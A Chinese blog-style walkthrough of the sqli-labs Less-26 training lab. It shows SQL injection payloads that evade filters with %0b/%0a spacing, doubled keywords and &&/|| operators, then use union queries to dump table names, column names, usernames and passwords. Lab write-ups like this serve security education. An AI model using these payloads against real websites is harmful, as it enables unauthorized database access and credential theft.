sqli-labs/Less-26关

这一关的欢迎界面显示空格和注释符都被注释掉了 所以说空格我们用%0a绕过处理 然后注释符用万能密码进行绕过处理

首先判断是否为数字型

输入如下

1%0aand%0a1=2

回显如下

sqli-labs/Less-26关_第1张图片

 查出来竟然不是第一条数据 所以说and应该被过滤了 而且应该全部的逻辑运算符都被过滤掉了 所以我们用字符来代替字母写法 用&&代替and 用||代替or 或者使用双写绕过的思想进行处理

使用以上两种做法进行解题的回显如下所示

sqli-labs/Less-26关_第2张图片 

sqli-labs/Less-26关_第3张图片 

 

然后输入1' 回显如下

sqli-labs/Less-26关_第4张图片 

但是作证我们不能写--+得用万能密码替代 

作证如下

1'%0aoorr%0a'1'='1

 也是正确回显了

sqli-labs/Less-26关_第5张图片

 接下来的步骤由于之前对于正确和错误的输入都存在回显和报错信息 所以既可以使用联合注入 又可以使用报错注入 我们这边是用联合注入的方式

首先判断一下回显点

输入如下

id=1'%0aunion%0aselect%0a1,2,3%0aoorr%0a'1'='1

 又报错了 不懂为什么%0a不能用了 %0b却可以用

所以我们以上语句写成如下形式

id=-1'%0bunion%0bselect%0b1,2,3||'1'='1

但是虽然存在回显了 但是不是我们想要的结果啊 没有回显出1,2,3中的任何一个

我们猜想注释符号中有一个--+ 他会不会是把我们的符号当作了注释符号看待 所以这边我们只能使用0作为主查询的数

最终版本为如下形式

id=0'%0bunion%0bselect%0b1,2,3||'1'='1

终于回显了 回显如下

sqli-labs/Less-26关_第6张图片

接着开始我们的爆库/版本号

输入如下

id=0'%0bunion%0bselect%0bversion(),database(),3||'1'='1

 好坑啊 我以为回显位会是前两位的 结果却只有一位回显了(第二位回显了) password处的回显不懂是什么 那么现在只能利用第二位了

重新爆库

输入如下

id=0'%0bunion%0bselect%0b1,database(),3||'1'='1

回显如下

sqli-labs/Less-26关_第7张图片

爆表 输入如下

id=0'%0bunion%0bselect%0b2,group_concat(table_name),4%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%26%26'1'='1

 爆表过程中可能会出现的两个问题:

1.&&不管用 那就用%26%26替代

2.万能密码不要写成or 1=1这样会把除了当前数据库以外的其他库的表都给查询出来 我们用and 1=1替代他

回显如下

sqli-labs/Less-26关_第8张图片

爆字段

输入如下

id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0b%26%26%0btable_schema=database()%26%26'1'='1

 sqli-labs/Less-26关_第9张图片

接着爆用户名和密码相关信息 输入如下

id=0'%0bunion%0bselect%0b1,group_concat(username,passwoorrd),3%0bfrom%0busers%26%26'1'='1

这边不知道为什么写成and 1=1报错 所以我索性写成了where 1=1 就成功了 回显如下

sqli-labs/Less-26关_第10张图片

 这一关使用联合注入好麻烦 还是建议使用报错注入吧 不过还是成功了 嗨嗨!!

你可能感兴趣的:(数据库,mysql,sql)